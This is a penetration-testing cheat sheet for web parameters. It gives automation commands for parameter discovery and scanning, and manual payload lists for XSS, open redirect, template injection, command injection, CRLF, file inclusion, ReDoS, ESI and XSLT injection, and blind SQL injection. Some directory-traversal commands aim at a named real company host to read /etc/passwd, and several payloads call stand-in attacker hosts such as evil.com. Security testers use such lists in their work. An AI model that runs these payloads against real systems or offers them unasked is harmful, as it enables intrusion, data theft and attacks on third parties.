Parameters Manual Testing

Automation

# Paramspider | gau | kxss
python3 ParamSpider/paramspider.py -d target | kxss 
cat subdomains.txt | gau | grep "?" | kxss

# parameter brute forcing 
Arjun -u host.com -w Wordlists/Param-Miner.txt

# Dalfox tool for scanning
Dalfox url host.com?parameters=xss

# Nuclei to fuzz for vulns
nuclei -l parameters.txt -t nuclei_templates/ -et nuclei_templates/waf -et nuclei_templates/others

# DotDotPwn --> <https://github.com/wireghoul/dotdotpwn>  --> for Directory Traversal automation
dotdotpwn -m http-url -u "<https://attachrite.dell.com/en/images/TRAVERSAL>" -f "/???/??ss??" -k "root" -d 20 -b -e "%00.png"
dotdotpwn -m http-url -u "<https://attachrite.dell.com/en/images/TRAVERSAL>" -f "etc/passwd" -k "root" -d 20 -b

Manual Testing (Credit: HackTricks)

• XSS

  <img src=x onerror=alert("XSS_By_h0tak88r")> 
  <00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-CLick</00>--%20/ 
  jaVasCript:/*-/*`/*\\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e

• Open Redirect → SSRF

  www.whitelisted.com
  www.whitelisted.com.evil.com
  <https://google.com>
  //google.com
  javascript:alert(1)
  <https://evil.com>
  <https://hackerone.com/reports/59372> -> Homograph Attack

* **CSTI**

```
{{7*7}}[7*7]→ {{3*3}}
{{constructor.constructor('alert(document.cookie)')()}}
```

• SSTI → {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\\ → RCE

• Command Injection →

  1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

• CRLF →

  %0d%0aLocation:%20http://attacker.com
  
  %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
  
  %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
  
  %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

• Dangled Markup [ HTML Injection ] → <br>lol<b><h1>THIS IS AND INJECTED TITLE </h1>

• Local File Inclusion

  /etc/passwd
  ../../../../../../etc/hosts
  ..\\..\\..\\..\\..\\..\\etc/hosts
  /etc/hostname
  ../../../../../../etc/hosts
  C:/windows/system32/drivers/etc/hosts
  ../../../../../../windows/system32/drivers/etc/hosts
  ..\\..\\..\\..\\..\\..\\windows/system32/drivers/etc/hosts
  <http://asdasdasdasd.burpcollab.com/mal.php>
  \\\\asdasdasdasd.burpcollab.com/mal.php

• ReDOS

  (\\\\w*)+$
  ([a-zA-Z]+)*$
  ((a+)+)+$

• Server Side Inclusion/Edge Side Inclusion

  <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://evil.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

• XSLT Server Side Injection

  <xsl:value-of select="system-property('xsl:version')" /><esi:include src="<http://10.10.10.10/data/news.xml>" stylesheet="<http://10.10.10.10//news_template.xsl>"></esi:include>

• Request smuggling -> ATO via request smuggling

• SQL Injection

Bug : Blind SQL Injection Tips : X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z